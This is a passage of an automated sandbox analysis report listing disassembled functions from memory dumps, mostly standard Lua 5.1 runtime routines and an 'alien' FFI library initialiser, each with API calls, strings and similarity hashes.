Function 100116C0, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 10011630: lua_type.LUA5.1(?,00000001,?,100113D5,?,?), ref: 10011638
Part of subcall function 10011630: lua_tothread.LUA5.1(?,00000001), ref: 10011652

luaL_checkinteger.LUA5.1(?,?,?), ref: 100116E6

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

lua_getstack.LUA5.1(00000000,00000000,?,?), ref: 100116F0
luaL_argerror.LUA5.1(?,?,level out of range,?,?,?,?,?), ref: 10011708

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

luaL_checkinteger.LUA5.1(?,?,?,?,?,?,?), ref: 10011720
lua_getlocal.LUA5.1(00000000,?,00000000,?,?,?,?,?,?,?), ref: 1001172C
lua_xmove.LUA5.1(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?), ref: 1001173E
lua_pushstring.LUA5.1(?,00000000,00000000,?,00000001,?,?,?,?,?,?,?,?,?,?), ref: 10011745
lua_pushvalue.LUA5.1(?,000000FE,?,00000000,00000000,?,00000001), ref: 1001174D

Strings

level out of range, xrefs: 10011700

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkinteger.lua_getstack.$L_argerror.L_error.lua_getlocal.lua_isnumber.lua_pushstring.lua_pushvalue.lua_tointeger.lua_tothread.lua_type.lua_xmove.
String ID: level out of range
API String ID: 2608758037-3896408274
Opcode ID: 5e1a2b47238a3badac7319429cddb2ecc76e0b7e78fd51cb1697e6d0cec73378
Instruction ID: 381e90b1d6a42875e15b4844c8a3af571ba6a7fb6b8853f4b1c80deb7139396d
Opcode Fuzzy Hash: 5e1a2b47238a3badac7319429cddb2ecc76e0b7e78fd51cb1697e6d0cec73378
Instruction Fuzzy Hash: 561106AA9006103BF110D624AC82DFF639CDFC11A4F444039FE1586246FA69FE4A42F7

Uniqueness

Uniqueness Score: -1.00%

Function 10013E80, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 10013E8C

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_objlen.LUA5.1(?,00000001,?,00000001,00000005), ref: 10013E94
lua_gettop.LUA5.1(?,?,00000001,?,00000001,00000005), ref: 10013E9D
luaL_error.LUA5.1(?,wrong number of arguments to 'insert'), ref: 10013EB3

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

luaL_checkinteger.LUA5.1(?,00000002), ref: 10013EC2
lua_rawgeti.LUA5.1(?,00000001,00000000), ref: 10013EDE
lua_rawseti.LUA5.1(?,00000001,00000001,?,00000001,00000000), ref: 10013EE7
lua_rawseti.LUA5.1(?,00000001,00000000), ref: 10013EFA
lua_rawseti.LUA5.1(?,00000001,00000001), ref: 10013F0E

Strings

wrong number of arguments to 'insert', xrefs: 10013EAD

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_rawseti.$L_checkinteger.L_checktype.L_error.L_where.lua_concat.lua_error.lua_gettop.lua_objlen.lua_pushvfstring.lua_rawgeti.lua_type.
String ID: wrong number of arguments to 'insert'
API String ID: 732831627-1213844428
Opcode ID: babfc1ac738a3cdc84a52cf039d2c240dbb54cbc6ad9001e5e08347418e4aa08
Instruction ID: 074b530034f39994ddb9da936b4ab75bbb6c7cf2d0d8e315fa162ed4f4025042
Opcode Fuzzy Hash: babfc1ac738a3cdc84a52cf039d2c240dbb54cbc6ad9001e5e08347418e4aa08
Instruction Fuzzy Hash: A6012B3BA5421832F521E1942CC3FFF666DC7C2AE4F050129FA0869183E197B89610F2

Uniqueness

Uniqueness Score: -1.00%

Function 10011780, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 10011630: lua_type.LUA5.1(?,00000001,?,100113D5,?,?), ref: 10011638
Part of subcall function 10011630: lua_tothread.LUA5.1(?,00000001), ref: 10011652

luaL_checkinteger.LUA5.1(?,?,?), ref: 100117A5

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

lua_getstack.LUA5.1(00000000,00000000,?,?), ref: 100117AF
luaL_argerror.LUA5.1(?,?,level out of range,?,?,?,?,?), ref: 100117C7

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

luaL_checkany.LUA5.1(?,?,?,?,?,?,?), ref: 100117DE
lua_settop.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 100117EC
lua_xmove.LUA5.1(?,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 100117F5
luaL_checkinteger.LUA5.1(?,?,?,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 10011806
lua_setlocal.LUA5.1(00000000,?,00000000,?,?,?,00000000,00000001,?,?,?,?), ref: 10011812
lua_pushstring.LUA5.1(?,00000000,00000000,?,00000000,?,?,?,00000000,00000001,?,?,?,?), ref: 10011819

Strings

level out of range, xrefs: 100117BF

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkinteger.lua_getstack.$L_argerror.L_checkany.L_error.lua_isnumber.lua_pushstring.lua_setlocal.lua_settop.lua_tointeger.lua_tothread.lua_type.lua_xmove.
String ID: level out of range
API String ID: 3965284509-3896408274
Opcode ID: 9fcaa8b921aeacf61ad39a977a0b5f1609dc0a46b803f34e7e18812ae632dbb4
Instruction ID: bc0ffc4c32b0a411cc0fdc4fa0933e261c824b818a0bd30102b62b43166d83a9
Opcode Fuzzy Hash: 9fcaa8b921aeacf61ad39a977a0b5f1609dc0a46b803f34e7e18812ae632dbb4
Instruction Fuzzy Hash: 7C118EB99046106BF115D624DC42EFF72ACDFC1288F444418FA849620AFA25BA5686F6

Uniqueness

Uniqueness Score: -1.00%

Function 10012160, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 10012161
lua_pushboolean.LUA5.1(?,00000001), ref: 10012178
lua_pushnil.LUA5.1(?,00000000), ref: 1001218E
strerror.MSVCRT ref: 1001219F
lua_pushfstring.LUA5.1(?,%s: %s,?,00000000), ref: 100121AD
lua_pushinteger.LUA5.1(?,?), ref: 100121B7

Strings

%s: %s, xrefs: 100121A7

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _errnolua_pushboolean.lua_pushfstring.lua_pushinteger.lua_pushnil.strerror
String ID: %s: %s
API String ID: 3794273909-3740598653
Opcode ID: bee44643437c32d351f559f2ba43925251a97b87d30b11f370ecee9c6bac59c2
Instruction ID: afab1c4a24ff316a08f6e58b05ad73f0f91fa1aced475a12d87bb044afd45eb3
Opcode Fuzzy Hash: bee44643437c32d351f559f2ba43925251a97b87d30b11f370ecee9c6bac59c2
Instruction Fuzzy Hash: 7A01A77AA042107BF601D658BC81EEF375CEF962D5F040428F50496207D635EA9543F3

Uniqueness

Uniqueness Score: -1.00%

Function 100108A0, Relevance: 17.5, APIs: 8, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

luaL_checkstack.LUA5.1(?,00000002,too many nested functions), ref: 100108AD

Part of subcall function 1000F3E0: lua_checkstack.LUA5.1(?,?), ref: 1000F3EB
Part of subcall function 1000F3E0: luaL_error.LUA5.1(?,stack overflow (%s),?), ref: 1000F402

lua_pushvalue.LUA5.1(?,00000001,?,00000002,too many nested functions), ref: 100108B5
lua_call.LUA5.1(?,00000000,00000001,?,00000001,?,00000002,too many nested functions), ref: 100108BF
lua_type.LUA5.1(?,000000FF,?,00000000,00000001,?,00000001,?,00000002,too many nested functions), ref: 100108C7
lua_isstring.LUA5.1(?,000000FF), ref: 100108E4
lua_replace.LUA5.1(?,00000003), ref: 100108F3
lua_tolstring.LUA5.1(?,00000003,?,?,00000003), ref: 10010900

Strings

reader function must return a string, xrefs: 1001090A
too many nested functions, xrefs: 100108A5

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkstack.L_error.lua_call.lua_checkstack.lua_isstring.lua_pushvalue.lua_replace.lua_tolstring.lua_type.
String ID: reader function must return a string$too many nested functions
API String ID: 2880153572-3802478608
Opcode ID: 2bc23842946f777d2b1a1682e7b537bff4408cdf5eb5fa10fd0738bf60105b41
Instruction ID: bbb1ffe3aeabec66677d161548f50ea3b6ce22c89ba9e82ec2acb4eaa8f7bde0
Opcode Fuzzy Hash: 2bc23842946f777d2b1a1682e7b537bff4408cdf5eb5fa10fd0738bf60105b41
Instruction Fuzzy Hash: 3CF09079A1962132F902E624BC03FCF2189CF027E5F040214F510AA1CBEB94BB8241EA

Uniqueness

Uniqueness Score: -1.00%

Function 005E3E60, Relevance: 17.5, APIs: 8, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E005E3E60(void* __eflags, intOrPtr _a4) {
				void* __esi;
				intOrPtr* _t5;
				intOrPtr _t8;
				void* _t9;
				void* _t10;

				_t8 = _a4;
				E005E31A0(_t8);
				E005E3230(_t8);
				E005E3300(_t8);
				_t5 = E005E3DD0(_t8);
				_push("alien");
				_push(0xffffd8ee);
				_push(_t8);
				L005E3F02();
				_push(0xffffffff);
				_push(_t8);
				L005E3F4A();
				_t10 = _t9 + 0x14;
				if(_t5 == 0) {
					_push(_t5);
					_push(_t5);
					_push(_t8);
					L005E3FBC();
					_push(0xffffffff);
					_push(_t8);
					L005E3F44();
					_push("alien");
					_push(0xffffd8ee);
					_push(_t8);
					L005E3F3E();
					_t10 = _t10 + 0x20;
				}
				_push(0);
				_push(0);
				_push(_t8);
				L005E3FBC();
				_push(0xffffffff);
				_push(_t8);
				L005E3F44();
				_push("core");
				_push(0xfffffffd);
				_push(_t8);
				L005E3F3E();
				E005E3AD0(_t5, _t8);
				return 1;
			}

0x005e3e61
0x005e3e65
0x005e3e6a
0x005e3e6f
0x005e3e74
0x005e3e79
0x005e3e7e
0x005e3e83
0x005e3e84
0x005e3e89
0x005e3e8b
0x005e3e8c
0x005e3e91
0x005e3e96
0x005e3e98
0x005e3e99
0x005e3e9a
0x005e3e9b
0x005e3ea0
0x005e3ea2
0x005e3ea3
0x005e3ea8
0x005e3ead
0x005e3eb2
0x005e3eb3
0x005e3eb8
0x005e3eb8
0x005e3ebb
0x005e3ebd
0x005e3ebf
0x005e3ec0
0x005e3ec5
0x005e3ec7
0x005e3ec8
0x005e3ecd
0x005e3ed2
0x005e3ed4
0x005e3ed5
0x005e3edd
0x005e3ee8

APIs

Part of subcall function 005E31A0: luaL_newmetatable.LUA5.1(?,alien_library,005E3E6A), ref: 005E31A6
Part of subcall function 005E31A0: lua_pushlstring.LUA5.1(?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31B3
Part of subcall function 005E31A0: lua_pushcclosure.LUA5.1(?,005E2910,00000000,?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31C0
Part of subcall function 005E31A0: lua_settable.LUA5.1(?,000000FD,?,005E2910,00000000,?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31C8
Part of subcall function 005E31A0: lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD,?,005E2910,00000000,?,__gc,00000004,?,alien_library,005E3E6A), ref: 005E31D5
Part of subcall function 005E31A0: lua_pushcclosure.LUA5.1(?,005E1470,00000000,?,__tostring,0000000A,?,000000FD,?,005E2910,00000000,?,__gc,00000004,?,alien_library), ref: 005E31E2
Part of subcall function 005E31A0: lua_settable.LUA5.1(?,000000FD), ref: 005E31ED
Part of subcall function 005E31A0: lua_pushlstring.LUA5.1(?,__index,00000007,?,000000FD), ref: 005E31FA
Part of subcall function 005E31A0: lua_createtable.LUA5.1(?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3204
Part of subcall function 005E31A0: lua_pushcclosure.LUA5.1(?,005E1310,00000001,?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3211
Part of subcall function 005E31A0: lua_settable.LUA5.1(?,000000FD,?,005E1310,00000001,?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3219
Part of subcall function 005E31A0: lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E1310,00000001,?,00000000,00000000,?,__index,00000007,?,000000FD), ref: 005E3221

Part of subcall function 005E3230: luaL_newmetatable.LUA5.1(?,alien_callback,005E3E6F), ref: 005E3236
Part of subcall function 005E3230: lua_pushlstring.LUA5.1(?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E3243
Part of subcall function 005E3230: lua_createtable.LUA5.1(?,00000000,00000000,?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E324D
Part of subcall function 005E3230: lua_pushlstring.LUA5.1(?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E325A
Part of subcall function 005E3230: lua_pushcclosure.LUA5.1(?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_callback,005E3E6F), ref: 005E3267
Part of subcall function 005E3230: lua_settable.LUA5.1(?,000000FD,?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_callback), ref: 005E326F
Part of subcall function 005E3230: lua_settable.LUA5.1(?,000000FD), ref: 005E327A
Part of subcall function 005E3230: lua_pushlstring.LUA5.1(?,__call,00000006,?,000000FD), ref: 005E3287
Part of subcall function 005E3230: lua_pushcclosure.LUA5.1(?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3294
Part of subcall function 005E3230: lua_settable.LUA5.1(?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E329C
Part of subcall function 005E3230: lua_pushlstring.LUA5.1(?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E32A9
Part of subcall function 005E3230: lua_pushcclosure.LUA5.1(?,005E29E0,00000000,?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E32B6
Part of subcall function 005E3230: lua_settable.LUA5.1(?,000000FD), ref: 005E32C1
Part of subcall function 005E3230: lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD), ref: 005E32CE
Part of subcall function 005E3230: lua_pushcclosure.LUA5.1(?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E32DB
Part of subcall function 005E3230: lua_settable.LUA5.1(?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E32E3
Part of subcall function 005E3230: lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E32EB

Part of subcall function 005E3300: luaL_newmetatable.LUA5.1(?,alien_function,005E3E74), ref: 005E3306
Part of subcall function 005E3300: lua_pushlstring.LUA5.1(?,__index,00000007,?,alien_function,005E3E74), ref: 005E3313
Part of subcall function 005E3300: lua_createtable.LUA5.1(?,00000000,00000000,?,__index,00000007,?,alien_function,005E3E74), ref: 005E331D
Part of subcall function 005E3300: lua_pushlstring.LUA5.1(?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_function,005E3E74), ref: 005E332A
Part of subcall function 005E3300: lua_pushcclosure.LUA5.1(?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_function,005E3E74), ref: 005E3337
Part of subcall function 005E3300: lua_settable.LUA5.1(?,000000FD,?,005E1B60,00000000,?,types,00000005,?,00000000,00000000,?,__index,00000007,?,alien_function), ref: 005E333F
Part of subcall function 005E3300: lua_settable.LUA5.1(?,000000FD), ref: 005E334A
Part of subcall function 005E3300: lua_pushlstring.LUA5.1(?,__call,00000006,?,000000FD), ref: 005E3357
Part of subcall function 005E3300: lua_pushcclosure.LUA5.1(?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3364
Part of subcall function 005E3300: lua_settable.LUA5.1(?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E336C
Part of subcall function 005E3300: lua_pushlstring.LUA5.1(?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3379
Part of subcall function 005E3300: lua_pushcclosure.LUA5.1(?,005E2970,00000000,?,__gc,00000004,?,000000FD,?,005E1EF0,00000000,?,__call,00000006,?,000000FD), ref: 005E3386
Part of subcall function 005E3300: lua_settable.LUA5.1(?,000000FD), ref: 005E3391
Part of subcall function 005E3300: lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD), ref: 005E339E
Part of subcall function 005E3300: lua_pushcclosure.LUA5.1(?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E33AB
Part of subcall function 005E3300: lua_settable.LUA5.1(?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E33B3
Part of subcall function 005E3300: lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E1E70,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E33BB

Part of subcall function 005E3DD0: luaL_newmetatable.LUA5.1(?,alien_buffer,005E3E79), ref: 005E3DD6
Part of subcall function 005E3DD0: lua_pushlstring.LUA5.1(?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3DE3
Part of subcall function 005E3DD0: lua_pushcclosure.LUA5.1(?,005E3B40,00000000,?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3DF0
Part of subcall function 005E3DD0: lua_settable.LUA5.1(?,000000FD,?,005E3B40,00000000,?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3DF8
Part of subcall function 005E3DD0: lua_pushlstring.LUA5.1(?,__newindex,0000000A,?,000000FD,?,005E3B40,00000000,?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3E05
Part of subcall function 005E3DD0: lua_pushcclosure.LUA5.1(?,005E2F20,00000000,?,__newindex,0000000A,?,000000FD,?,005E3B40,00000000,?,__index,00000007,?,alien_buffer), ref: 005E3E12
Part of subcall function 005E3DD0: lua_settable.LUA5.1(?,000000FD), ref: 005E3E1D
Part of subcall function 005E3DD0: lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD), ref: 005E3E2A
Part of subcall function 005E3DD0: lua_pushcclosure.LUA5.1(?,005E2DE0,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E3E37
Part of subcall function 005E3DD0: lua_settable.LUA5.1(?,000000FD,?,005E2DE0,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E3E3F
Part of subcall function 005E3DD0: lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E2DE0,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E3E47

lua_getfield.LUA5.1(?,FFFFD8EE,alien), ref: 005E3E84
lua_type.LUA5.1(?,000000FF,?,FFFFD8EE,alien), ref: 005E3E8C
lua_createtable.LUA5.1(?,00000000,00000000), ref: 005E3E9B
lua_pushvalue.LUA5.1(?,000000FF,?,00000000,00000000), ref: 005E3EA3
lua_setfield.LUA5.1(?,FFFFD8EE,alien,?,000000FF,?,00000000,00000000), ref: 005E3EB3
lua_createtable.LUA5.1(?,00000000,00000000), ref: 005E3EC0
lua_pushvalue.LUA5.1(?,000000FF,?,00000000,00000000), ref: 005E3EC8
lua_setfield.LUA5.1(?,000000FD,core,?,000000FF,?,00000000,00000000), ref: 005E3ED5

Strings

alien, xrefs: 005E3E79, 005E3EA8
core, xrefs: 005E3ECD

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlstring.lua_settable.$lua_pushcclosure.$lua_createtable.$L_newmetatable.lua_settop.$lua_pushvalue.lua_setfield.$lua_getfield.lua_type.
String ID: alien$core
API String ID: 3875307983-1034162407
Opcode ID: 3822e6d637f9d6c1a2fc3c94b5d075ae3178bbdb232ce1d3811c338eb20b632b
Instruction ID: 588e632126895a66f41a5f1a53fe85e7c1c7046fdfcea267f6e443ef21191c5d
Opcode Fuzzy Hash: 3822e6d637f9d6c1a2fc3c94b5d075ae3178bbdb232ce1d3811c338eb20b632b
Instruction Fuzzy Hash: 29F092A191E9B3319B5E326B4C4FE9F1C196F96724F200794F8F0761D2AE895B4204BA

Uniqueness

Uniqueness Score: -1.00%

Function 100103A0, Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000002), ref: 100103A9
luaL_checktype.LUA5.1(?,00000001,00000005,?,00000002), ref: 100103B5

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_argerror.LUA5.1(?,00000002,nil or table expected), ref: 100103CE

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

luaL_getmetafield.LUA5.1(?,00000001,__metatable), ref: 100103DE
luaL_error.LUA5.1(?,cannot change a protected metatable), ref: 100103F0
lua_settop.LUA5.1(?,00000002), ref: 100103FB
lua_setmetatable.LUA5.1(?,00000001,?,00000002), ref: 10010403

Strings

cannot change a protected metatable, xrefs: 100103EA
nil or table expected, xrefs: 100103C6
__metatable, xrefs: 100103D6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.lua_type.$L_argerror.L_checktype.L_getmetafield.lua_getstack.lua_setmetatable.lua_settop.
String ID: __metatable$cannot change a protected metatable$nil or table expected
API String ID: 2902843751-3425582905
Opcode ID: 05f622d526ba2d67b117bac24d7a1de135e323fafd6e6005b008692355a59b9e
Instruction ID: 754cfbedaba4e0a093d7c0455cb7968025041d9d3581588d24030d3a7ac49b8c
Opcode Fuzzy Hash: 05f622d526ba2d67b117bac24d7a1de135e323fafd6e6005b008692355a59b9e
Instruction Fuzzy Hash: 6CF05E6EB5162032F521E1287C07FEF1049CF51BC8F450024FA147A1CBFAE6AAC241A6

Uniqueness

Uniqueness Score: -1.00%

Function 10016700, Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001670B

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

lua_getfield.LUA5.1(?,FFFFD8EF,preload,?,00000001,00000000), ref: 1001671D

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_type.LUA5.1(?,000000FF,?,FFFFD8EF,preload,?,00000001,00000000), ref: 10016725
luaL_error.LUA5.1(?,'package.preload' must be a table), ref: 10016738

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_getfield.LUA5.1(?,000000FF,00000000), ref: 10016744
lua_type.LUA5.1(?,000000FF,?,000000FF,00000000), ref: 1001674C
lua_pushfstring.LUA5.1(?,no field package.preload['%s'],00000000), ref: 1001675F

Strings

preload, xrefs: 10016710
'package.preload' must be a table, xrefs: 10016732
no field package.preload['%s'], xrefs: 10016759

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getfield.lua_type.$L_checklstring.L_error.L_where.S_newlstr.lua_concat.lua_error.lua_pushfstring.lua_pushvfstring.lua_tolstring.
String ID: no field package.preload['%s']$'package.preload' must be a table$preload
API String ID: 285602727-726884196
Opcode ID: b2ae0e6d10de379de8055ebb00e938c3903877f53b708856b14954f03a945efa
Instruction ID: 6dfb27ce25f05a60b4a299cfebba21553b985cbde0a114c05f3d4f68a9c6649e
Opcode Fuzzy Hash: b2ae0e6d10de379de8055ebb00e938c3903877f53b708856b14954f03a945efa
Instruction Fuzzy Hash: 75F0827981952031E411E1296C42FEF308CCF932F8F150325F524BA2DBAA58F6C240AA

Uniqueness

Uniqueness Score: -1.00%

Function 10014F20, Relevance: 16.7, APIs: 11, Instructions: 189COMMON

Download Yara Rule

APIs

tolower.MSVCRT ref: 10014F28
_isctype.MSVCRT ref: 10014F67
_isctype.MSVCRT ref: 10014F9E
_isctype.MSVCRT ref: 10014FD0
_isctype.MSVCRT ref: 10015002
_isctype.MSVCRT ref: 10015034
_isctype.MSVCRT ref: 10015066
_isctype.MSVCRT ref: 10015098
_isctype.MSVCRT ref: 100150CA
_isctype.MSVCRT ref: 100150FC
_isctype.MSVCRT ref: 10015137

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
